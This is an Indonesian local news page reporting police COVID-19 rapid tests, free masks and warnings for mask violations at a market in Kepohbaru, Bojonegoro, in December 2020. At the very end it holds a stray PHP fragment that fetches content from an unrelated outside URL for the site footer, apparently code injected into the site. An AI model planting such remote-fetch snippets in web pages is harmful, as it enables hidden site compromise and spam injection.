Di Kepohbaru, Pengunjung Pasar di Rapid Tes

Rabu, 23 Desember 2020

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Bojonegoro – Untuk memutuskan rantai sebaran Covid 19, Polres Bojonegoro bersama Polsek jajaran terus melakukan kegiatan pencegahan dan juga himbau serta tindakan tegas di masyarakat, hal tersebut agar masyarakat dapat terhindar dari sebaran Covid 19 di Wilayah Kabupaten Bojonegoro.

Kegiatan yang dilaksanakan Polsek Kepohbaru yang dipimpin langsung oleh Kapolsek Kepohbaru, AKP Supriyono yaitu Melaksanakan Pendisiplinan Berdasarkan INPRES No.06 Tahun 2020, PERDA Provinsi Jatim No.02 Tahun 2020 dan PERGUB JAWA TIMUR No. 53 Tahun 2020.

Disampaikan oleh AKP Supriyono, pihaknya hari ini Melaksanakan rapid tes warga yang berkunjung ke pasar, kemudian juga melaksanakan pembagian sebanyak 300 masker secara gratis kepada warga di jalan umum maupun di pasar setempat, Rabu (23/12/2020).

Baca Juga:  Jelang Natal Dan Tahun Baru TA.2021 Yonmarhanlan VII Ikuti Apel Kesiapan

“Kami juga melakukan Himbauan dan Teguran kepada Warga yang tidak memakai Masker di wilayah Kecamatan Kepohbaru,” Kata Kapolsek Kepohbaru.

Polsek Kepohbaru juga mensosialisasikan tentang Sanksi dari PERGUB JATIM Nomor 53 Tahun 2020 dan pembagian masker bagi pengendara dan Warga yang belum menggunakan masker.

Baca Juga:  Polres Jombang Ungkap Kasus Peredaran Obat Keras Dan Berbahaya

Dari hasil kegiatan ini dilaksanakan Rapid tes sebanyak 42 orang, Teguran lisan kepada.352 orang, Teguran Tertulis kepada 36 orang. “Dari hasil rapid tes sebanyak 4 orang mengalami reaktif,” Pungkas Kapolsek Kepohbaru.

Sementara itu, Kapolres Bojonegoro, AKBP Eva Guna Pandia menyampaikan bahwa pihaknya akan terus melakukan kegiatan Yustisi operasi Protokol kesehatan untuk mencegah sebaran Covid 19. “Kami terus akan mengingatkan kepada masyarakat agar terus mematuhi protokol kesehatan,” Kata Kapolres Bojonegoro.

AKBP Eva Guna Pandia juga meminta kepada masyarakat untuk meningkatkan kesadaran diri bahwa Covid 19 masih ada dan sebarannya sangat berbahaya, sehingga dengan kesadaran diri untuk melaksanakan protokol kesehatan maka Covid 19 bisa segera hilang.

Baca Juga:  Polri Ungkap Peredaran Sabu 50 Kg Jaringan Aceh, Medan dan Jakarta

“Patuhi 4M yaitu menjaga jarak, menjauhi kerumunan, Memakai Masker, dan mencuci tangan,” Pesan Kapolres.

Kapolres Bojonegoro juga menegaskan akan menindak masyarakat yang tidak mematuhi protokol kesehatan sesuai dengan aturan yang sudah ditetapkan, karena bahaya sebaran Covid dapat mengancam siapa saja, apalagi peningkatan pasien Covid 19 di Bojonegoro terus meningkat.(Her)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>